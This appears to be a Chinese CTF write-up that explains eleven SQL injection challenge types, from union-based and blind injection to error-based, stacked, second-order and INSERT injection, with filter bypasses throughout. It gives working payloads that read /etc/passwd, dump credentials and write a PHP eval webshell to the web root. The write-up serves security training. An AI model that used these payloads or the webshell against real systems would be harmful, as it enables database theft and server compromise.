SQL注入 - CTF常见题型
文章目录
- 题型一 ( 字符型注入 )
- 题型二 ( 整数型注入 )
- 题型三 ( 信息收集+SQL注入)
- 题型四 ( 万能密码登录 )
- 题型五 ( 搜索型注入+文件读写 )
- 题型六 ( 布尔盲注 Burp Suite)
- 题型七 ( 延时盲注 Burp Suite )
- 题型八 ( 报错注入 )
- 题型九 ( 堆叠注入 )
- 题型十 ( 二次注入 )
- 题型十一( INSERT注入 )
题型一 ( 字符型注入 )
首先看题目、需要输入ID号
输入 1 点击查询
这里提示SQL语句为
SELECT * FROM userinfo WHERE `Id` = '1'
判断注入点,构造闭合语句,进行逻辑尝试,得出 1’ 报错、1‘#不报错、‘1’ and 1=1 #’ 不报错、‘1’ and 1=2 #’ 报错,由此可得此题为字符型SQL注入漏洞。
SELECT * FROM userinfo WHERE `Id` = '1''SELECT * FROM userinfo WHERE `Id` = '1'#'SELECT * FROM userinfo WHERE `Id` = '1' and 1=1 #'SELECT * FROM userinfo WHERE `Id` = '1' and 1=2 #'
使用 ORDER BY 语句判断列数,到5时报错,判断列数为4
SELECT * FROM userinfo WHERE `Id` = '1' order by 1 #'
......
SELECT * FROM userinfo WHERE `Id` = '1' order by 5 #'
使用 UNION SELECT 判断显示位
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,4 #'
爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #'SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' #'SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(Id,':',flag) from flag #'
题型二 ( 整数型注入 )
先看题,需要输入1试试
提示sql语句为
select * from news where id=1
判断注入类型、1 显示数据、1‘ 不显示 1’# 也不显示、1+1显示ID=2,由此判断该注入类型为整数型注入
select * from news where id=1select * from news where id=1'select * from news where id=1'#select * from news where id=1+1
逻辑判断
select * from news where id=1 and 1=1 select * from news where id=1 and 1=2
使用 ORDER BY 语句判断列数,3位时报错、判断列数为2
select * from news where id=1 order by 3
使用 UNION SELECT 判断显示位
select * from news where id=-1 union select 1,2
爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值
select * from news where id=-1 union select group_concat(schema_name),2 from information_schema.schemataselect * from news where id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()select * from news where id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='flag'select * from news where id=-1 union select group_concat(flag),2 from flag
题型三 ( 信息收集+SQL注入)
先看题,点击了几个点都没有发现可以注入的地方
点击F12 - 网络 - 点击测试新闻1 - F5刷新页面 - 发现存在一个连接地址 ‘/backend/content_detail.php?id=1’
进行访问,并尝试SQL注入,通过页面回显发现是整数型注入
/content_detail.php?id=1/content_detail.php?id=2/content_detail.php?id=3/content_detail.php?id=1'/content_detail.php?id=1'#/content_detail.php?id=1 and 1=1/content_detail.php?id=1 and 1=2
找到注入点后面就进行常规的SQL注入就行了
/backend/content_detail.php?id=1 order by 3/backend/content_detail.php?id=-1 union select 1,2/backend/content_detail.php?id=-1 union select group_concat(schema_name),2 from information_schema.schemata/backend/content_detail.php?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()/backend/content_detail.php?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='admin'/backend/content_detail.php?id=-1 union select group_concat(id,':',username,':',password),2 from admin
得出结果为如下,看起来好像是md5加密的但是通过解密平台无法解密、那我们尝试直接使用此账号密码登录一下试试
1:admin:756ba5042c492a3c2481f29e6b796bd6
登录成功获取到flag
题型四 ( 万能密码登录 )
先看题
使用弱口令密码 admin:admin 登录失败,显示 ‘ NO,Wrong username password!!!’
尝试寻找闭合方法,发现是单引号闭合,因为报了一个语法错误
admin'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
尝试使用万能密码绕过登录,发现登录失败,尝试使用 || 绕过 or,发现登录成功,这题就是过滤了 ‘or’
admin' or '1'='1admin' || '1'='1
题型五 ( 搜索型注入+文件读写 )
先看题目,通过点击页面,发现一些注入点,在尝试闭合操作和逻辑判断的时候都显示非法访问,这时候就要改变一下思路了。
发现有个搜索框,那么对搜索框进行一下SQL注入
//模拟一下后台SQL语句
select * from users where key='%xxx%'// 我们先传一个 1 试试,如果按照我们试想的语句应该是不会报错并可以返回数据的; 成功返回数据
select * from users where key='%1%'//那我构造一个闭合语句呢,我们传参一个 1%'# ,发现还是正常返回数据
select * from users where key='%1%' #%'//那继续构造一个逻辑语句,我们传参 1%' and 1=1# 1%' and 1=2# ,发现1=2没有返回数据,这样正符合我们预期,由此判断此搜索框存在SQL注入漏洞select * from users where key='%1%' and 1=1#%'
select * from users where key='%1%' and 1=2#%'
进行列数、显示位判断
1%' order by 3 #-1%' union select 1,2,3 #
测试一下是否可以进行文件读写操作,发现可以进行读文件
-1%' union select 1,2,load_file('/etc/passwd') #
那么接下来我们需要,通过进行信息收集的方法找到网站的绝对路径或者网站根目录,进行文件写马操作,通过webshell获取网站权限,打开 F12 - 网络,分析一下,发现此网站的中间件是nginx,那么我们可以通过读一下nginx的默认配置文件路径来获取更多的信息。
通过配置文件发现了,网站根目录,接下来就可以进写马操作
key=-1%' union select 1,2,load_file('/etc/nginx/nginx.conf') #
-1%' union select 1,2,'<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/1.php' #
写完之后进行访问,并使用蚁剑进行测试连接,连接成功获取了flag
http://xxxxx:8141/1.php
题型六 ( 布尔盲注 Burp Suite)
?id=1 and 1=1# 判断长度
?id=1 and length((select database()))=1 # 循环遍历key=1米' and 10=length((select database()))#-- 判断具体数据
?id=1 and substr((select database()),1,1)='a' key=1米' and substr((select database()),1,1)='s' #-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata ),1,1)='a' -- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a' -- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a' -- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a'
-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata ),1,1)='a' -- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a' -- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a' -- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a'
使用 Burp Suite 进行布尔盲注操作
先看题、首先抓一个数据包、发送到爆破模块
判断注入类型,通过页面回显发现为字符型
http://192.168.174.128:8081/Less-8?id=1
http://192.168.174.128:8081/Less-8?id=1'
http://192.168.174.128:8081/Less-8?id=1' and 1=1 --+
http://192.168.174.128:8081/Less-8?id=1' and 1=2 --+
判断数据库长度、通过BP抓包,并循环遍历
http://192.168.174.128:8081/Less-8?id=1' and length((select database()))=1 --+
通过长度判断、数据库长度为8
判断数据库具体值,抓包进行爆破
http://192.168.71.109:8081/Less-8?id=1' and mid(((select database())),1,1)='a' --+
爆破得出 数据库名为:‘security’
判断指定的数据库的数据表长度和具体数据
http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' --+
当前数据库得数据表长度为 29
数据库表得具体数据:emails,referers,uagents,users
判断指定的数据库的数据表的字段长度,判断为 20
http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))=1 --+
判断指定的数据库的数据表的字段值,值为:id,username,password
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='a' --+
判断指定的数据库的数据表的字段的具体值
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(id,username,password) from users ),1,1)='a' --+
题型七 ( 延时盲注 Burp Suite )
先看题、首先判断注入点和注入类型
username=1'&password=1
username=1&password=1
username=1'#&password=1
username=1' oorr 1=2 #&password=1
username=1' oorr 1=1 #&password=1
username=1' oorr slsleepeep(3)#&password=1
发现过滤了and or sleep if select mid from mid,并测试and没有用,使用双写or进行逻辑判断,发现存在字符型延时注入漏洞
判断当前数据库长度,首先抓包,然后爆破长度,记得选择通过响应时间筛选,延时最大的那个就是我们想要得数字,判断数据库长度为 5
username=1' oorr iiff((length((seselectlect database()))=1),slsleepeep(6),1) #&password=1
判断当前数据库得具体数据,依旧对比响应时间和长度,判断数据库值为:hazel
username=1' oorr iiff((mimidd((select database()),1,1)='a'),slsleepeep(6),1) #&password=1
判断当前数据库下表的长度,发现表长度为 5
username=1' oorr iiff((length((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()))=1),slsleepeep(6),1) #&password=1
判断表的具体值,得出表名为users
username=1' oorr iiff((mimidd((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),1,1)='a'),slsleepeep(6),1) #&password=1
判断表中的列名的长度,得出长度为 20
username=1' oorr iiff((length((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'))=1 ),slsleepeep(6),1) #&password=1
判断表中的列名的具体值,得到具体值为:id,username,password
username=1' oorr iiff((mimidd((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'),1,1)='a' ),slsleepeep(6),1) #&password=1
获得flag值,
username=1' oorr iiff((mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1)='a' ),slsleepeep(6),1) #&password=1获取flag值还是最好使用ASCII码username=1' oorr iiff((asasciicii(mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1))='1' ),slsleepeep(6),1) #&password=1
题型八 ( 报错注入 )
先看题目,随便输入一个账号密码,会报错 # NO,Wrong username password!!!
判断注入点和注入类型,发现为字符型注入,并过滤了 很多字符双写绕过就行了, 并存在报错注入
/check.php?username=1'&password=1
/check.php?username=1'%23&password=1
/check.php?username=admin' anandd/**/1=1 %23&password=1
/check.php?username=admin' anandd/**/1=2 %23&password=1
查当前数据库,得到数据库为:geek
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(select database()),0x7e),1)%23&password=a
查看所有数据库,得到数据为: ‘~information_schema,geek,mysql,p’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata),0x7e),1)%23&password=a
查看geek数据库下的表,得到表为:‘geekuser,ssql’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/frfromom/**/infoorrmation_schema.tables/**/whwhereere/**/table_schema=database()),0x7e),1)%23&password=a
查看geekuser表字段,得到字段为:‘id,username,password’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/whwhereere/**/table_schema=database()/**/anandd/**/table_name='geekuser'),0x7e),1)%23&password=a
查看字段具体值, 得到账号密码 ‘~1admine28dd73cc01b8087e30fcc023’
?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(id,username,passwoorrd)/**/frfromom/**/geekuser),0x7e),1)%23&password=a
题型九 ( 堆叠注入 )
先看题,发现有提示 ‘别打头’ 注入点可能是http头部注入
抓POST包,构造语句进行注入,修改User-Agent字段,看响应包得长度,发现存在注入点
User-Agent: 1
User-Agent: 1'
User-Agent: 1'#
User-Agent: 1' and 1=2 #
User-Agent: 1' and 1=1 #
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38uname=admin&passwd=admin&submit=Submit
使用堆叠注入,获取当前数据库为:hazel
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38uname=admin&passwd=admin&submit=Submit
获取当前数据库得表名
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38uname=admin&passwd=admin&submit=Submit
23323333</p></html><html><p hidden> emails</p></html><html><p hidden> referers</p></html><html><p hidden> uagents</p></html><html><p hidden> users</p></html></font>
查看 23323333 表中数据,获得了flag值:flag{7609695b-15ae-4310-aaf1-85c773c14858}
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;select * from `23323333`;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38uname=admin&passwd=admin&submit=Submit
题型十 ( 二次注入 )
首先看题,找到题目所有的功能点,有注册,登录,重置密码
让我们使用admin用户进行登录,即可获取key,这题又是二阶注入题目,那么我们先试试能否注册一个 admin用户,发现admin用户已经被注册,那就没有办法去利用
那我们试想一下,注册一个 admin’ 这样的用户呢?构造一下 重置密码的SQL语句
update users set password=$pass where username = $name
如果 $name 是被单引号包裹的话,重置 admin’ 这个用户的密码那么就会出现报错,我们验证一下
update users set password=$pass where username = 'admin''
创建成功登录,并进行重置密码操作
发现没有任何反应,因为正常操作重置密码会提示 ‘成功’ ,我们注册的 admin‘ 没有任何提示
那么我们就可以判断,重置密码界面可能存在注入点,那么我们就可以构造恶意用户,让引号进行包裹,在进行重置密码就相当于重置了admin账号的密码,就可以进行登录操作了。
update users set password=$pass where username = 'admin'#'
创建成功,登录并修改密码
然后使用admin账号和刚刚修改的密码登录,发现成功获取了flag值,flag{f5f3df31-6c0e-44c1-bf9e-248d53571bda}
题型十一( INSERT注入 )
查看题目
点击文章发布随便发一个文章,并进行抓包
响应包,返回了SQL语句
insert into article(title,author,description,content,dateline) values('1','2','3','4',1701156599)
构造注入语句
insert into article(title,author,description,content,dateline) values('1','2','3','4',123),(1,2,3,(select database()),5) #',1701156599)
需要替换的语句为
4',123),(1,2,3,(select database()),5) #'
爆表名
4',123),(1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),3,4,5) #
爆列名
4',123),(1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='hazel' and table_schema=database()),5) #
爆字段名
4',123),(1,2,3,(select group_concat(flag_is_here) from hazel ),5) #
拿到flag,flag{f57d071a-97ee-4e39-99ed-35c9cda4258d}
相关文章:

SQL注入 - CTF常见题型
文章目录 题型一 ( 字符型注入 )题型二 ( 整数型注入 )题型三 ( 信息收集SQL注入)题型四 ( 万能密码登录 )题型五 ( 搜索型注入文件读写 )题型六 (…...

android keylayout键值适配
1、通过getevent打印查看当前keyevent数字对应事件和物理码 2、dumpsys input 查看输入事件对应的 KeyLayoutFile: /system/usr/keylayout/Vendor_6080_Product_8060.kl 3、通过物理码修改键值映射,修改/system/usr/keylayout/目录下的文件...

python读取excel自动化生成sql建表语句和java实体类字段
1、首先准备一个excel文件: idtypenameidint学号namestring姓名ageint年龄sexstring性别weightdecimal(20,4)体重scoredecimal(20,4)分数 2、直接生成java字段和注释: import pandas as pddf pd.read_excel(test.xlsx, sheet_nameSheet1)for i in ran…...
Unity求向量A在平面L上的投影向量
如题:求向量A在平面L上的投影向量(图左) 即求 其实等价于求向量,那在中,,所以只需要求即可 而就是在平面L的法向量的投影坐标,所以代码就是 /// <summary>/// 求向量A在平面B上的投影向量/// </summary>/// <para…...

人机交互2——任务型多轮对话的控制和生成
1.自然语言理解模块 2.对话管理模块 3.自然语言生成模块...

【数据结构】八大排序 (三)
目录 前言: 快速排序 快速排序非递归实现 快速排序特性总结 归并排序 归并排序的代码实现 归并排序的特性总结 计数排序 计数排序的代码实现 计数排序的特性总结 前言: 前文快速排序采用了递归实现,而递归会开辟函数栈帧࿰…...

Redis 命令处理过程
我们知道 Redis 是一个基于内存的高性能键值数据库, 它支持多种数据结构, 提供了丰富的命令, 可以用来实现缓存、消息队列、分布式锁等功能。 而在享受 Redis 带来的种种好处时, 是否曾好奇过 Redis 是如何处理我们发往它的命令的呢? 本文将以伪代码的形式简单分析…...

python爬虫进阶教程之如何正确的使用cookie
文章目录 前言一、获取cookie二、程序实现三、动态获取cookie四、其他关于Python爬虫技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Pytho…...

【hacker送书第4期】推荐4本Java必读书籍(各送一本)
第4期图书推荐 Java从入门到精通(第7版)内容简介参与方式 项目驱动零基础学Java内容简介参与方式 深入理解Java高并发编程内容简介参与方式 Java编程讲义内容简介参与方式 Java从入门到精通(第7版) 内容简介 《Java从入门到精通&…...

[密码学]DES
先声明两个基本概念 代换(substitution),用别的元素代替当前元素。des的s-box遵循这一设计。 abc-->def 置换(permutation),只改变元素的排列顺序。des的p-box遵循这一设计。 abc-->bac DES最核心的算法就是…...

15个超级实用的Python操作,肯定有你意想不到的!
文章目录 1)映射代理(不可变字典)2)dict 对于类和对象是不同的3) any() 和 all()4) divmod()5) 使用格式化字符串轻松检查变量6) 我们可以将浮点数转换为比率7) 用globals()和locals()显示现有的全局/本地变量8) import() 函数9) …...

GitHub上8个强烈推荐的 Python 项目
文章目录 前言1. Manim2. DeepFaceLab3. Airflow4. GPT-25. XSStrike6. 谷歌图片下载7. Gensim8. SocialMapper总结关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③…...
什么是依赖倒置原则
1、什么是依赖倒置原则 依赖倒置原则(Dependency Inversion Principle,DIP)是指高层模块不应该依赖于低层模块,它们都应该依赖于抽象。换句话说,具体类之间的依赖关系应该尽可能减少,而抽象类或接口之间的…...

异常数据检测 | Python实现oneclassSVM模型异常数据检测
支持向量机(SVM)的异常检测 SVM通常应用于监督式学习,但OneClassSVM[8]算法可用于将异常检测这样的无监督式学习,它学习一个用于异常检测的决策函数其主要功能将新数据分类为与训练集相似的正常值或不相似的异常值。 OneClassSVM OneClassSVM的思想来源于这篇论文[9],SVM使用…...
using meta-SQL 使用元SQL (3)
%FirstRows Syntax %FirstRows(n) Description The %FirstRows meta-SQL variable is replaced by database-specific SQL syntax to optimize retrieval of n rows. Depending on the database, this variable optimizes: FirstRows meta-SQL变量被特定于数据库的SQL语法…...

Spinnaker 基于 docker registry 触发部署
docker registry 触发部署 Spinnaker可以通过Docker镜像的变化来触发部署,这种方法允许你在Docker镜像发生变化时自动启动新的部署流程。 示例原理如下图所示: 以下是如何在Spinnaker中实现基于Docker Registry触发部署的配置流程。最终实现的效果如下…...

2023亚马逊云科技re:Invent,在开发者板块探究如何利用技术重塑业务
美国当地时间11月27日,一年一度的亚马逊云科技re:Invent大会在美国拉斯维加斯盛大开幕。这场全球云计算领域的前沿盛会,已连续12年成为引领行业的风向标。那么本次2023亚马逊云科技re:Invent大会又有哪些可玩、可看的新项目,下面就一起来瞧一…...
JAVA 使用stream流将List中的对象某一属性创建新的List
JAVA 使用stream流将List中的对象某一属性创建新的List 1.stream流介绍 Java Stream是Java 8引入的一种新机制,它可以让我们以声明式方式操作集合数据,提供了更加简洁、优雅的集合处理方式。Stream是一个来自数据源的元素队列,并支持聚合操…...

Elasticsearch:ES|QL 函数及操作符
如果你对 ES|QL 还不是很熟悉的话,请阅读之前的文章 “Elasticsearch:ES|QL 查询语言简介”。ES|QL 提供了一整套用于处理数据的函数和运算符。 功能分为以下几类: 目录 ES|QL 聚合函数 AVG COUNT COUNT_DISTINCT 计数为近…...

SpringBoot——Swagger2 接口规范
优质博文:IT-BLOG-CN 如今,REST和微服务已经有了很大的发展势头。但是,REST规范中并没有提供一种规范来编写我们的对外REST接口API文档。每个人都在用自己的方式记录api文档,因此没有一种标准规范能够让我们很容易的理解和使用该…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

376. Wiggle Subsequence
376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...
css3笔记 (1) 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size:0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...

ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...

回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...
在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7
在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤: 第一步: 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为: // 改为 v…...